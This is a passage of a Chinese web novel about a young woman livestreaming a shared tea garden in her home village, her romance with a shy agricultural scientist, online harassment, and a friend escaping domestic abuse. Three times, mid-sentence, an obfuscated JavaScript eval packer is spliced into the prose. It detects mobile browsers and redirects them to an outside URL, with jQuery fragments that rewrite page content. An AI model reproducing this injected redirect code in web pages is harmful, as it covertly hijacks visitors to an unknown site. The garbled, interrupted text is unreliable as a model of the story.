“嘀——”检测仪发出轻微的提示音，屏幕上跳出一串数字。 陶风盯着看了几秒，又从包里拿出个放大镜，捏着一片发黑的叶子对着光仔细看：“土壤pH值七点八，偏碱性，典型的缺铁性黄化，根没烂，问题不大。” “缺铁？”夏绵也蹲下来，离他很近，还能闻到他身上淡淡的消毒水味混着茶青的香气，“那是不是施点铁肥就行？我家有以前买硫酸亚铁铁。” “不行。”陶风摇了摇头，声音比刚才亮了些，“硫酸亚铁容易氧化，茶树吸收不了多少，需要用螯合态铁肥，我给你写个药方，如果这附近买不到肥料的话就要从网上买。”他从背包里掏出个小本子，是那种带塑封封面的实验记录本，边角都磨圆了。 夏绵凑过去看他写字，他的笔尖在纸上划过，发出“沙沙”的轻响，字写得方方正正，连数字都排列得整整齐齐，像打印出来的一样。 她突然发现他握笔的姿势很特别，食指关节处有个浅浅的茧子，应该是常年握试管磨出来的。 “你是不是天天泡在实验里做实验啊？”她忍不住指着他的手指问，“这茧子一看就是上了岁数的老茧了。” 陶风握着笔的手顿了顿，抬头看她时，浓密的睫毛像小扇子似的扫过镜片，在眼圈下留下淡淡的阴影：“嗯，做实验的时候需要精确控制试剂剂量，手握移液枪握多了就这样。” 他转过身，把笔记本放在石头上，手里的钢笔折射出一道闪耀的光，那光透过树叶落在他的肩膀上，为清冷淡漠的他镀了一层柔和的光晕。 夏绵的眼睛被这一幕吸引住了，又怕被他看到，赶紧移开视线。 “对了，”陶风突然合上本子，声音有点不自然，“你，那个……直播，能不能教我弄弄？” “啊？”夏绵猛地转头，“你要开直播？” “不是。”他立刻摆手，目光从夏绵脸上转移，最后落在远处的茶树上，像是在跟茶树说话，“我想拍点茶树培育的视频，比如怎么修剪、怎么施肥，让更多人知道科学种茶的方法。之前我熬了好几个夜做的科普手册，就算摆在了图书馆里也没几个人看……” 夏绵立刻答应：“我教你啊！其实开直播做博主可简单了！就是对着镜头说话，跟平常聊天一样，你要是怕生，我先陪你练几次……”她话说到一半突然卡住，邀请他来自己的直播间一起播，会不会太刻意了？ 陶风像是没察觉她的犹豫，点点头：“那，我改天再仔细地请教你？” “不麻烦不麻烦！”夏绵笑得很爽朗，心里的小雀跃差点按捺不住，“陶老师你随时找我都行！我白天在茶园直播，晚上在家记账，你有问题给我发微信，我保证秒回！” “谢谢。” 陶风开口道谢，声音比寻常更低哑些，他没敢抬眼看笑得比太阳还耀眼的夏绵，脸上却悄悄漫开薄薄的一层绯红。 下山的时候，夏绵从兜里掏出那袋盐津小枣，硬塞进他手里：“我姥姥给的枣子，酸甜口的，可好吃了，她老人家说了，“吃人嘴软，拿人手短”，以后茶树再有毛病，我们就好意思麻烦你了。” 陶风捏着包装袋，好半天才挤出一句：“那我不客气了。” 他拆开袋子，抓了颗放进嘴里，枣子的香味在舌尖炸开，他一口一口地品尝着，没想到这看似平淡无奇的小枣，吃起来竟格外清甜，一点也不输市面上的枣类零食。 * 夏绵回家刚把老茶树的事跟姥姥交代清楚，还没来得及喝口水歇一歇就被几个叽叽歪歪的孩子堵在了院门口。 邱小麦举着个皱巴巴的练习本，有点委屈地说：“绵绵姐，今天上午的账，我总是算不对。” “怎么不对了？”夏绵把手机支架往院里挪了挪，镜头正好能照到石桌上的账本，“你们先自己算算，姐姐我先开个直播。” 夏绵点开直播键，镜头里立刻跳进几个小脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084727|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，弹幕瞬间热闹起来： 【主播在村里的副业是看孩子吗？】 【小孩手里拿的是账本？算账要从娃娃抓起啊。】 夏绵笑着把镜头转向石桌：“给你们看看咱茶园的未来财务总监。” 她拿起邱小麦的练习本，上面歪歪扭扭记着：“零零三号茶树施肥二斤，花费五元”。 “你看啊，这行总数算错了，五棵树施肥，每棵二斤，总共该是多少斤？” 邱田抢着回答：“十斤！” “那总共花多少钱？”夏绵故意把声音放慢。 几个孩子伏着石桌算，手指在桌面上划来划去，邱小麦突然拍手：“二十五块！五乘五等于二十五！” 【看到这幅画面，我这只连续加班一星期的牛马也想辞职回乡创业了呜呜呜～】 【和孩子们在一起就是开心快乐哇！】 【主播顺便开个乡村算术班吧，这些留守儿童的头脑还蛮聪明的。】 夏绵对着镜头得意地挑眉：“看到没？咱这不仅能认养茶树，还能扫盲，我简直是个天才！”自夸结束，她回头在邱小麦的账本上画了个红勾，“明天给你们带梨膏糖，账算对的多领一包！” 孩子们欢呼着围得更近，后脑勺差点怼到镜头上，夏绵一边笑着拨开他们的脑袋，一边给直播间的观众解说：“他们都是茶园的观察员，每天帮着看茶树，还学着记录施肥和浇水情况，工资嘛，就按梨膏糖算。” 听主播这么一介绍，直播间的礼物突然多了起来，都备注着“主播给小童工们买糖”。 夏绵连连道谢，举着手机给孩子们看：“都瞧见没？大家让你们好好学习，以后长大了帮我管大账！” 孩子们一入境，直播间的弹幕也越来越多，夏绵都快看不过来，只能挑老粉的弹幕回复： 【主播我的零零八号怎么样了？】 【陶专家呢？今天能看到帅哥吗？】 【前面的+1，我特意调了闹钟等陶哥哥～】 【主播快说说老茶树的事，你和陶老师找到救它的办法了吗？】 夏绵笑得眉眼弯弯，她把手机支架往旁边挪了挪，让更多认养的茶树进入直播画面里：“家人们放心，老茶树没事，它就是有点缺铁性贫血，陶老师给开了药方，老茶树很快就能恢复健康啦。” 她拿着手机镜头把棵茶树一棵一棵拍过去：“零零八号抽了三个新芽，看到没？这芽头多饱满！零零九号刚施了肥，用的是茶籽饼发酵的有机肥，绝对纯天然喔！” 她边拍茶树边解说，说到兴头上，还抓起一把土壤对着镜头晃：“大家看，这黑黝黝的、带着腐叶的清香，都是咱东岚山特有的好土，这样的土壤种出来的茶比别处的更香甜可口！” 直播间的观看人数渐渐涨到四位数，礼物也开始一件件地飘，夏绵正说得眉飞色舞，一条加粗的弹幕突然从屏幕中央飘过： 【你说得这么好听，谁知道是不是拿别人的茶园当幌子？我朋友前阵子买过共享农场的蔬菜和水果，总共花了两千多块钱，结果寄来的全是烂菜叶子，连虫子都比果子多！】 紧跟着又有几条弹幕附和： 【这种打着回村创业的幌子搞直播的好多都是骗钱的大坏蛋！】 【这种直播大家看个乐呵就行了，不要信更不要花钱！】 【主播敢不敢拉个茶农过来聊天？光给大家看茶园有什么用？】 【就是，花那大几百块认养茶树，万一最后寄来的是陈茶咋办？】 5. 第五章 第五章 夏绵盯着屏幕上滚动的那一连串恶评，眉头越皱越紧。 刚才那条质疑她摆拍的弹幕还没沉下去，又冒出来几条： 【那些老人肯定是请来的群演，一天五十块的那种。】 【我这个老茶农敢打赌，她连炒茶锅都没碰过。】 【给她送礼物的不是傻子就是疯子。】 【主播敢不敢随机连麦一个认养茶树的粉丝？让人家说说收到的茶叶如何？】 直播间的人数明明在涨，下单和送礼物的却没有几个，连以前经常在直播间和她互动的忠实粉丝都没了动静。 夏绵深吸一口气，对着镜头挤出一个还算礼貌的笑： “家人们别急着下结论，你们觉得我在摆拍是吧？那这样好了，明天上午十点，我请村里的张阿婆、王阿公他们都来我的直播间，咱们边炒茶边聊天，让他们给大家讲讲东岚村种茶的老故事，怎么样？” 她故意把“炒茶”两个字咬得很重，弹幕果然安静了些，直播间零星飘过几条“我等着看”和“别耍花样”的留言。 夏绵没再多说，匆匆道了句“主播吃晚饭去了”就下了播。 手机屏幕暗下去的瞬间，她深深地叹了口气。 “怎么了这是？”邱云端着碗绿豆汤出来，关心道：“脸煞白煞白的，是不是累到了？” “没事，我不累，就是有几个黑粉在捣乱，小事一桩。” 夏绵接过碗一饮而尽，把碗还给邱云后就匆匆取下手机，翻看着账号里每条视频下面的评论。 从昨天开始，好像是有人在故意散播谣言，恶评就像雨后春笋似的冒出来，不过他们骂来骂去也就那几句话： 【茶园是真是假？也没见过东岚村的人来网上证实。】 【说白了，她搞认养就是圈钱，开直播赚的钱都不一定分给村民。】 【大家应该齐心协力把这类博主全都给举报了！】 还有过激网民把她直播时穿真丝衬衫的片段截出来，说她“假精致”，更有甚者，还骂她“侮辱茶文化”。 “这实在太奇怪了。” 夏绵摸着下巴嘀咕，目不转睛地盯着评论区，突然看到一条高赞评论，是粉丝“小绵羊”发的： 【茶茶你别慌！前几天有个以吐槽闻名的女博主发视频审判某个收了钱就跑路的共享农场男博主，虽然她没点名，但在网上冲浪的网民都知道是谁，因为你和那个骗子都搞直播，所以你被连累了！】 夏绵立刻搜了那个女博主的名字，点进她的最新视频一看，那位妆容精致的女孩对着镜头侃侃而谈，她脸上的表情也十分难看，虽然全程没提具体名字，但话里话外却全是“共享农场都是智商税”和“打钱容易维权难”。评论区里果然有人指路茶门信徒，还有人把茶门信徒的直播片段剪进去给不知情的路人当反面教材。 “真是天降大锅于我也！” 夏绵简直被那些黑粉给气笑了，怀着一股“姑奶奶我要复仇”的心情点开手机备忘录记下明天的直播流程：上午找邱书记和老人聊天、下午直播炒茶过程顺便展示分钱账本、晚上把快递单号和客户反馈整理出来…… 她就不信，实打实的茶园和茶农以及送到客户里的茶叶和茶酥还堵不上那些网络喷子的嘴。 * 夜里明月高照，院子里的老槐树影影绰绰。 热腾腾的红烧肉刚端上桌，紧接着，邱云又端上一盘炒得色香味俱全的鱼香肉丝，夏绵像饿了三天的狗似的端起饭碗大快朵颐。 邱云见她吃得津津有味，猜想她今天一定心情很好，于是把憋了半天的心里话给说了出来： “今天下午你张阿婆来找我聊天，她说她在山上看见你和那专家聊得很投机。” “她看见就看见呗，这有什么好说的？” “怎么不好说了？” 邱云夹了块红烧肉给她，继续说：“全村人都在猜，猜你和他是不是在处对象，张阿婆还说，那小陶专家是个青年才俊，配你这个年轻有为的淑女，正好。” “姥姥！”夏绵的脸一下子就红了，她从饭碗里抬起头，极力解释：“你也知道，我找他就是讨论老茶树的事，我和他之间只有一种关系，那就是，工、作、关、系！” “工作关系能距离那么近还拉着胳膊？”邱云挑眉，笑得眼睛都眯成了一条缝：“我年轻时候跟你姥爷处对象，直到结婚那天才敢手拉着手。” 夏绵被堵得说不出话，扒着碗里的饭小声地嘟囔：“现在跟以前不一样，再说了，他拉我的胳膊是因为我摔地上了，他扶我起来，这个举动充满了和谐友爱和单纯，才不是你们想得那种！” 邱云可没心思听这些解释，放下筷子自顾自地唠叨起她年轻时和夏绵姥爷谈恋爱的美好时光，这些陈年旧事虽然已经过去很多很多年，但邱云每次和夏绵说起的时候，脸上总会带着一抹少女怀春般的娇羞，一开始，夏绵也会跟着脸红，可邱云几乎每年都会说一两次，久而久之，夏绵就免疫了，甚至还会开姥姥的玩笑。 两人刚收拾完碗筷，院门外就传来怯生生的喊声：“阿绵在家吗？” 夏绵开门一看，直接愣住了。 门外的人是她的发小，邱澜。 邱澜眼眶微红，一看就是刚哭过，她的怀里还抱着个三岁左右的小女孩。 “阿澜？你什么时候回来的？”夏绵赶紧把人请进来，又贴心地把刚温好的牛奶递给她怀里的孩子，“这是……你闺女？” “嗯，她叫果果。”邱澜的声音有些发颤：“我上个月回来的，一直没好意思来找你，我听张阿婆说你在搞什么共享茶园？还开直播给父老乡亲们赚钱，我就来找你问问，可不可以给我个活儿做？” “可以啊，不过我也是刚起步，你在我这儿可能也赚不了多少钱。”夏绵边说边拉邱澜坐在软椅上。 夏绵弯腰逗果果玩时，才注意到邱澜的手腕上有几块淡褐色的疤痕，不像磕碰的，像是被抽打的。 “我不求赚得多，只要你不嫌弃我笨手笨脚就好。” 夏绵把果果抱到腿上，小姑娘轻轻抓着她的衣角，说：“阿姨你长得真好看。” 这软糯的声音瞬间击中了夏绵的心脏，她轻轻点了点那粉嫩的小鼻子，说：“你也好看。” 邱云递给了邱澜一碗蜂蜜水，然后坐在她跟前，柔声问：“澜丫头，你不是嫁去外市了吗？怎么回东岚村了？” 邱澜的眼圈一下子红了：“别提了，那个姓王的是个渣男，三番五次出轨不说，打我骂我更是家常便饭，上个月他喝醉了又拿皮带打，我抱着果果就跑回娘家来了，可我也不能就这么在家里白吃白喝，所以我就来找阿绵帮忙了。” “那王八蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084728|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！”夏绵气得握紧了拳头，“为什么不报警？你可以跟他离婚啊！” “离婚？”邱澜苦笑，“他死活不离，我又没有被家暴的证据，无法证明身上的伤是被他打的，所以报警也没用。他还说，我要是敢闹，他就带着他的那些兄弟来我爸妈家闹……” 夏绵看着怀里缩成一团的果果，心疼得抱紧了她。 “活儿有！”她拍板，“你帮我管账，就记录认养茶树的订单和收支，工资我按本县会计的标准给你开，你在我这儿还能带着果果，你看行吗？” 邱澜猛地点头，豆大的眼泪掉了下来，一颗接着一颗：“阿绵，谢谢你……” “你跟我有什么好客气的？”夏绵抽了张纸给她，“你明天就来茶园，我教你操作直播后台，咱姐妹俩一起赚钱！” 送走邱澜母女俩，夏绵总觉得心里沉甸甸的。 她点开和陶风的聊天框，想跟他说说邱澜的事，可又觉得有点突兀，最后只发了句：“明天上午十点直播，我请了邱书记和几个相熟的茶农，你有空来看吗？” 对面很快回了个“好”。 夏绵心满意足地笑了笑，没想到这专家还挺听自己话的。 * 旅馆里，陶风盯着那个“好”字，失神许久。 他刚刷完夏绵今天的直播回放，看到那几条质疑夏绵是骗子的的弹幕时，差点忍不住爆租口。 后来看到夏绵口齿清晰地向直播间的观众承诺她会请茶农一起直播，又感叹这姑娘比自己想象得还要聪明，她总能想出办法应对各种突发状况。 “嘀——”手机突然响了，陶风抬头看了一眼，是他妈打来的视频电话。 “儿子啊，”李媛探着头看他身后，“你住的地方怎么破破烂烂的？你在山村里待得惯不？” “挺好的，这里比松萝老家还清净。”陶风调整了下坐姿，“有事？” “没事就不能给你打电话了？”李媛笑眯眯的，“我和小浔很好奇你下乡的原因，我俩猜你突然跑到那么偏的村里，是不是看上谁家姑娘了？” 陶风的脸突然就红了，手抖得差点把手机掉地上：“你们别胡说，我是来做茶树研究的，做的都是正经事。” “瞧你说的，谈恋爱就不正经啦？”妹妹陶浔突然凑过来，“咱舅妈都跟我们说了，她在东岚村共享茶园的直播间看见你了，说你跟那个女主播走得很近。” 陶风一时无言，过了好一会儿才对着屏幕磕磕巴巴地解释：“我和她只是工作关系，你们不要乱说。” 李媛和陶浔显然不信，两个人不约而同地摆出一副“装，接着看你装”的表情，上扬的嘴角怎么压也压不住。 “我……我先挂了，待会儿还有个电话会议，先不跟你们聊了。” 没等妈妈和妹妹再说什么，他就匆忙按下红色键。 视频电话已经挂断，可胸口却还在砰砰直跳。 他拿起手机，点开夏绵明天的直播预约，犹豫了一下，又点开她视频的评论区，把那几条无脑跟风黑夏绵的网友一个一个全都举报掉。 * 李媛和陶浔坐在沙发上敷着面膜聊天，她俩兴致勃勃地讨论着陶风今晚的异常行为。 陶浔：“能让我哥这个闷葫芦变得不冷静的女孩，一定不简单。” 李媛：“不如，咱俩悄悄去东岚村看看？” 6. 第六章 第六章 天刚蒙蒙亮，东岚山上的茶园还裹着层薄薄的雾，夏绵就已经坐在院子里的竹椅上，嘴里还叼着一袋豆奶，手指在电脑键盘上飞快敲打。 她把昨夜整理的直播教程大纲弄成了电子文档，发给陶风时特意备注了句：“照着上面的练，保你从科研宅男光速变成直播达人。” 其实夏绵在决定用直播的方式实现共享茶园时，也是费尽了脑细胞。 她之前在城里的工作内容主要是制定直播企划案，但那都是和化妆品有关，而像茶园这类农作物，不可控因素太多了，又因为在山上，恶劣天气的影响很可能会导致茶叶出问题，不过，纵使困难重重，夏绵也只是想解决的办法，她一次都没有想过放弃。 文档发过去后，夏绵便开始拿扫帚打扫院子，门外传来邱澜的声音：“阿绵姨姨，早上好！” 夏绵抬头，看见邱澜抱着小女孩站在门口，果果穿着一件印着小兔子的粉色围裙，手里还攥着铅笔头。 邱澜笑道：“”我和果果带着早饭来找你聊天了。” “快来！”夏绵打开院门，接过邱澜手里的保温桶，低头亲了一口果果的小脸蛋：“果果以后就是茶园的小监工啦，以后谁偷懒不干活，果果就告诉姨姨。” 吃完早饭，邱澜把一本笔记摊开放在石桌上，手在纸页上平了平：“我昨晚问邱书记要账本看，就顺便把上个月的账又核对了一遍。零一三号茶树的主人又下单了两斤春茶，快递单号记在最后一页了，等会儿直播的时候可以联系她，让她发个视频把之前收到的茶叶和茶酥拍给观众看，这样就能证明你是真的在帮东岚村卖茶致富了。” “靠谱！”夏绵竖起大拇指，“有你这样称职的助理在，我可高枕无忧啊。” 邱澜抿着嘴笑：“那句话是怎么说得来着？“姐妹成对，财富加倍”。” * 换好衣服也化好妆的夏绵把直播支架往中间挪了挪，镜头刚好能框住她身后围坐的村民。 现在的这个时间里，邱书记正端着搪瓷缸子喝凉茶，邱阿婆转着炒茶锅的竹柄和人聊天，而王阿公则在给果果编草蚱蜢，还有一群放假了的小孩子，围在一起叽叽喳喳地说说笑笑。 十点整，夏绵按时开启直播，直播键刚按下去，弹幕就争先恐后地跑进来： 【前排围观主播的亲友团！】 【那个穿兔子围裙的小两脚兽好可爱！是主播新招来的童工吗？（狗头）】 【村支书大爷多讲讲茶乡故事呗，昨天视频里的没听够！】 夏绵对着这几条热情友好的弹幕笑弯了眼：“家人们放心哈，今天不光讲故事，主播还给你们带来了新的节目，有邱阿婆的炒茶秘方和邱书记的村史百科，还有咱新晋财务总监的账本大公开！” 说完，她把镜头转向邱阿婆，老人家放下竹柄，拿起几片茶青对着镜头介绍：“这炒茶就像哄娃娃，火大了会哭，火小了不醒，你们看这茶青，得揉到外干内湿能捏出汁水才算好。” 【阿婆好懂！这才是真非遗啊技术含量没得说！】 【记笔记：炒茶像哄娃娃。】 【手动炒茶的手艺得传承下去啊，机器炒的茶难喝死了。】 【邱阿婆年轻的时候在你们当地也是位厉害的女子吧？】 “那可不！”邱书记接话，放下喝了半缸的凉茶，脸上露出骄傲的神色：“邱阿婆年轻时候受到市里邀请给外宾炒过茶，那些洋人都夸她炒的茶是东方第一香！” 邱阿婆的脸一下子红了，谦虚摆手：“那都是老黄历了！还是说现在的事吧，就说说小绵这共享茶园，把咱村的茶价提了三成，前阵子村东头的邱二，光靠一棵老茶树就给孙子凑够了大学学费！如果有人不信，尽管来东岚村随便找个人问。” 此话一出，弹幕激增，直播间里瞬间刷起正能量： 【这才是真助农！比那些作秀骗钱的强多了。】 【已拍一万九千九百九十九档！指定要邱阿婆炒的茶！】 【前面的土豪等等我！我拍九百九十九档的茶树！】 【那些无脑黑我家夏绵的听见阿婆说得没？就问你们脸疼不疼呵呵呵。】 夏绵看着一个接一个的订单，接着给身后的邱澜递了个眼色，邱澜第一次参与直播互动，手紧张得直冒汗，她深吸一口气，走到夏绵身边，举起手机对着镜头，说： “家人们看这里，零一三号茶树的主人是一位在S市工作的小姐姐，她上个月收到茶叶后说我们的茶香比几千块钱的香水还好闻，她还特地下了好几单主播姥姥做的茶酥，这是她的留言截图。”她翻到下一页，继续展示给观众看：“这是快递单号，顺通的，如果还有质疑我们是按照剧本演戏的网友，你们可以去顺通网站查看东岚村的物流信息。” 人证物证都在，之前那些在直播间捣乱的人也都没了声，夏绵的粉丝们群情激昂，大粉带头在直播间刷屏： 【欲加之罪，何患无辞！守护茶门信徒！】 【支持主播夏绵告黑！】 直播间越来越热闹，订单也越来越多，夏绵和村民及时分工合作才稳住了阵脚。 大家伙就这么各忙各的，不知不觉就到了吃午饭的时间。 夏绵吆喝着：“大家都回家吃午饭歇歇，记得多喝水哦！” 邱澜抱起已经睡着了的果果，跟夏绵打过招呼后就和阿公阿婆们一起下班了，直播现场就剩下夏绵一个人。 “你吃饭了没有？” 身后突然传来一道熟悉的声音，夏绵猛地回头。 正午的日头悬在天空中央，阳光洒得满地都是，陶风提着保温饭盒刚从大槐树下的荫影里走出来，饭盒上的光点便瞬间亮了起来。 “陶老师！”夏绵冲他招手，“快来！正好给直播间的家人看看你们农科院高级牛马的午饭长什么样！” 陶风避开她的目光，快步走到石桌前，把保温饭盒往夏绵面前推了推，声音压得很低：“这是给你做的……午饭。” 这句话成功让直播间再次迎来弹幕热潮： 【！！！是我想的那个爱心便当吗？是吗是吗是吗！】 【这个下乡的专家该不会是个恋爱脑吧？（不是）】 【姐夫！是姐夫吧！】 【前面的别瞎叫……虽然我也觉得他估计就是。】 【陶老师，你是来追主播的还是来勘察茶树的？】 一听午饭是给自己做的，夏绵就迫不及待地打开饭盒，番茄牛腩的香气一下子飘了出来，牛肉块头匀称，鲜香的汤汁浸在白米饭里，青菜绿油油的，连萝卜都切得像朵小花。 “你……”夏绵被这精致的午饭震惊得说不出话来，她抬头看陶风，发现他正翻看邱澜留下的账本。 不知道是不是阳光太晃眼的原因，她怎么觉得陶风的表情好像有些不自在？ 【主播愣着干啥？快吃啊！】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084729|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直播间的观众看着呆住的夏绵简直是心急如焚： 【我恨不得把手伸进屏幕里按着他俩的头亲！】 【主播吃了这碗饭就去跟陶老师扯证吧。】 【这饭看着好香啊……流口水……你不吃给我吃吧！】 夏绵夹了块牛肉放进嘴里，软糯的肉皮在舌尖瞬间化开，如此惊喜的味道让她赞不绝口：“好吃好吃！这味道不输我姥做的。” 吃了小半碗饭后，她扭头对站在一边喝茶的陶风说：“陶老师，来镜头前跟家人们打声招呼呗！” “不了，”陶风防备似的往后退了半步：“我去……准备炒茶工具。”话音未落，他转身就往竹棚走，脚步比平时快了不少。 【哈哈哈哈哈社恐实锤！陶老师跑这么快是怕被我们围观吗？】 【他社恐竟然还敢来直播现场给主播送饭吃，呜呜呜真爱无疑了！】 【主播你个大馋丫头先别吃了，快去追他啊！！！】 【本磕学家正式宣布，主播夏绵和陶风老师的cp名就叫“夏夜晚风”！】 夏绵不知道直播间的弹幕已经乱成了一锅粥，她的眼睛却落在镜头外的陶风背影上，又低头扒了口饭，突然发现饭盒底下压着张纸条，上面写着：“谢谢你的直播教程。” 夏绵心头一颤，抬眼看镜头时，红晕已不自觉地爬上了脸颊。 不远处，半山腰的公路上，戴着望远镜的陶浔正拽着李媛的手笑得停不下来：“你看他，送个饭跟做贼似的，那保温饭盒还是我去年买给他的生日礼物，第一次见他用竟然是为了给女孩送饭。” “那姑娘是真不错，”李媛看着手机里的直播间，颇为赞赏的点头：“人长得漂亮，说话情商也高，我儿真是高攀人家了。” “我哥这没眼儿的闷葫芦就需要这么一个能带动他的工作伙伴。” * 第一阶段的直播结束，邱澜拿着计算器算订单。 “过去的四个小时里总共拍了有一百一十九单！比以往多了两倍还多！” “好！”夏绵拍了拍她的肩膀，“算账辛苦，下午给你放个小假，我自己炒茶。” 邱澜摇头：“我想学着炒，以后说不定能帮大家忙。” 夏绵虽然没再推辞，但还是让她先在一边观摩，不要急着动手。 下午的炒茶直播设在竹棚下。 夏绵系着姥姥传下来的蓝布围裙，站在炒茶锅前，邱阿婆和王阿公站在旁边指点：“火别急，要抖得匀搭得轻。” 邱阿婆拿起竹帚示范，茶青在锅里打旋翻卷，像抹绿色的浪花。 夏绵学着她的样子挥动胳膊，没一会儿的功夫，额头就冒出了汗，邱澜递来毛巾想给她擦一擦，手背却不小心碰到了锅沿，紧接着，邱澜“嘶”地一声吸了口凉气。 “烫到了？”夏绵放下竹帚，赶紧拉过她的手吹了吹，“说了让你歇着。” 【主播是个善良的小女孩！】 【炒茶看着好累，突然觉得六百九十九块一点都不贵。】 【已加购！等茶寄到了给我妈尝尝。】 邱书记带着几个小孩蹲在竹棚角落登记订单信息，地上的订单纸堆成了小山。 邱田举着笔喊：“大伯，零二八号的“momo”要四斤，你给记成两斤了！” “知道了知道了！”邱书记戴着老花镜核对单子，笑呵呵地念叨着：“今天的订单多得我都数不过来了。” 7. 第七章 第七章 傍晚，夏绵家的院子里张灯结彩，两张八仙桌上摆满了丰盛的菜肴。 邱云特意让夏绵去旅馆叫陶风过来吃饭，老人家善良了一辈子，觉得人家帮了咱这么大的忙，请人吃顿热乎的饭菜是应该的。 陶风来吃饭的时候，手里提着个果篮。 “这是给邱奶奶和大家带的。”他把果篮放在墙角，站在一边有些拘谨，满院子的老人都看向他，还热情地跟他打招呼。 “快坐快坐！”邱云拉着他往主位走，“尝尝我做的排骨，小绵从小吃到大，她最爱吃这口。” 陶风刚坐下，张阿婆就凑过来，跟查户口似的打听了一连串：“小陶老师，你今年多大了？家里还有什么人？都是做什么的？” “我今年二十九，妈妈在剧院工作，妹妹读高中，她俩都在市里。”他答得简洁，手里的筷子悬在碗边没动。 张阿婆接着问：“那你有对象没？”说罢，故意往夏绵那边偏了偏头。 陶风避开她的目光，端起茶杯抿了口，刚想说“没有”，就被王阿公抢了话：“没对象正好！你看咱小绵，又机灵又能干，你们一个懂技术，一个会经营，凑一对多好！” “咳咳！”陶风被热茶呛了下，放杯子的动作快了些，杯底碰到桌面发出一声不小的响动。 坐在张阿婆旁边的夏绵急得赶紧打圆场：“你们这些不好好吃饭的老头老太太别乱点鸳鸯谱！我现在正算着今天的账呢，小心我扣你们钱！” 她把账本拿来，往桌上一摊，老人们的注意力果然被吸引过去，七嘴八舌地算了起来。 陶风放下杯子，往夏绵那边瞥了眼，正好撞上她含笑的目光，他赶紧转回头，夹了一筷子青菜专心吃饭。 “陶老师，你要多吃肉。”邱云盛了一碗排骨给他，“看你瘦的。” 散席时，夏绵主动送陶风回旅馆，老人们的注意力又回到他俩身上，那些带着期待和探究的目光让他们两个人都有点紧张，于是陶风婉拒了她：“夜里凉，我自己回去就行，你好好休息。” 夏绵点点头：“那好吧，你也好好休息。” 夏绵忙活了一天确实累了，和陶风说过再见后就去厨房里帮着洗碗。 张阿婆和王阿公也转移了视线，继续和其他茶农闲聊。 “你说小棉对小陶有那个心思么？” “看不出来啊……唉。” * 陶风刚走到旅馆门口，前面突然窜出个娇小的人影挡住了他的路。 “晚上好啊！” 陶浔举着手机晃了晃，屏幕上是他今天中午给夏绵送午饭的截图，“crush家的晚饭，是不是超级无敌好吃？” 陶风停下脚步，没说话，抬手揉了揉妹妹的头发：“你怎么来这儿了？咱妈呢？” 李媛摇着把碎花折扇，扇得哗啦哗啦响。 “我说小风啊，”她突然停住脚步，扇子往他背上一拍，“你天天往茶园跑，是研究茶树呢，还是研究那位女主播？” “研究茶树。”陶风的声音依旧冷淡，听不出什么情绪。 “你确定？”陶浔掏出手机怼到他眼前，屏幕上是夏绵直播的回放，“研究茶树需要眼睛黏在主播身上？你当我和咱妈瞎？” 李媛附和着：“我们都说你这木头桩子，也就夏绵能凿出点缝。” 陶风没接话，心想她俩肯定没吃饭，于是拉着她俩进了旅馆旁的小面馆。 老板娘抬头笑：“陶老师的家人来啦？” 陶风微微颔首，算是打过招呼，然后问肚子饿得咕咕叫的陶浔想吃什么。 陶浔看了眼墙上的菜单，语速飞快：“一碗牛肉板面和一碗羊肉拉面，再加两份煎蛋、两份炸虾，你买单。” 李媛站得有些累，脱下外套选了个靠窗的位置，招呼还在拌嘴的兄妹俩坐过来。 “我和你妹妹一大早就收拾东西来东岚村，老娘我第一次开这么远的车。” 陶浔刚坐下就冲陶风挤眉弄眼，“咱舅妈前阵子还跟我念叨，说你每次相亲都放人鸽子，我都怀疑你是不是喜欢男的……现在看来，你是没遇上对的人嘛！” “妈你能不能管管她？小屁孩不学好，真是越说越离谱。” “小浔可没说错。”李媛喝了口水，帮陶浔辩解：“去年你陈姨介绍她的侄女和你认识，你借口说去买瓶水，结果买了一天都没回来，还有前阵子我同事给你介绍的那个小学英语老师，人家一个大美女在咖啡馆等了你一下午连你人影都没见着。” “你们没经过我同意就给我相亲，不尊重我。” “那你倒是跟我说说，为什么一声不吭的就来了这里？你离开城里，来东岚村考虑过你妈我的心情了吗？害我担心了你好几天。” 老板娘把面端上桌，陶风把李媛爱吃的羊肉拉面放在她跟前，催促她：“快吃，晚上九点之后你不是禁食还要敷美容面膜吗？” “不要转移话题。” 李媛突然叹气，筷子往桌上一搁：“小风啊，妈不是催你，可你马上都要三十岁了。我以前总琢磨，你是不是喜欢那种戴眼镜、斯斯文文的，跟你一样宁静内敛的女孩子，没想到啊，你居然喜欢夏绵这种跟太阳似的，走到哪哪亮堂的女孩。” 李媛越说越开心，“这我就放心了！你俩的性格互补！” 